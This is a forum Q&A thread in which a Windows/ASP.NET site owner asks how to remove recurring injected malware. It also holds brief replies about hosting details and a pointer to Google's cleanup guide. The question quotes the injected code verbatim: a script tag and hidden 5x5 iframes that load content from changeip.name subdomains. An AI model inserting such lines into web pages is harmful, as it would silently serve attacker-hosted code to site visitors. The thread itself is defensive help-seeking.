How to remove this malware

Question

Some files in my site contains some extra lines.

After I've deleted them manually, I find them corrupted again some time later.

it is all coming from http://*.changeip.name/ some js files.

How can I remove them?

<!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda-->

<iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0>  

<iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height
=5 border=0>

Edit:

Server is Windows 2008
Site have some asp.net files
Javascript and flash files are used in the site, too.

Additional information on you webhosting environment would help. What kind of server are your files on, are you using some server-side scripting like php or a database of some kind? How do you access the server, have you changed your password recently (and is it safe? that means more than 20 characters long) — Baarn, Jun 17 '12 at 15:07
This is a serious question: Are there any PHP files that have lots of jumbled up letters and numbers, or that weren't there before? Similar to this: jcHVpbmZvIHwgd2MgLWwiKTsgIyBIb3cgbWFueSBDUFUgY29yZ but going on for many lines? If so, your server and everything on it could be at risk of theft or have a backdoor that would let someone into your server unauthorized and they can do serious damage. — ionFish, Jun 17 '12 at 15:35

score 2 · Answer 1 · answered Dec 04 '13 at 18:22

Google launched a very comprehensive guide to malware on websites. It includes:

What is malware?
How do I know if my site's been infected?
If your site is infected: How to clean up a hacked site.
Preventing malware infection: Best practices for avoiding infection in the future
Requesting a malware review: Once you're sure that all spam and malicious code has been removed, you can ask Google to review it. Google will check your site and, if it's now clean, will remove any warning label that appears in your site's listing on the search results page.

The section on cleaning up an infected site can help you.

How to remove this malware

1 Answers1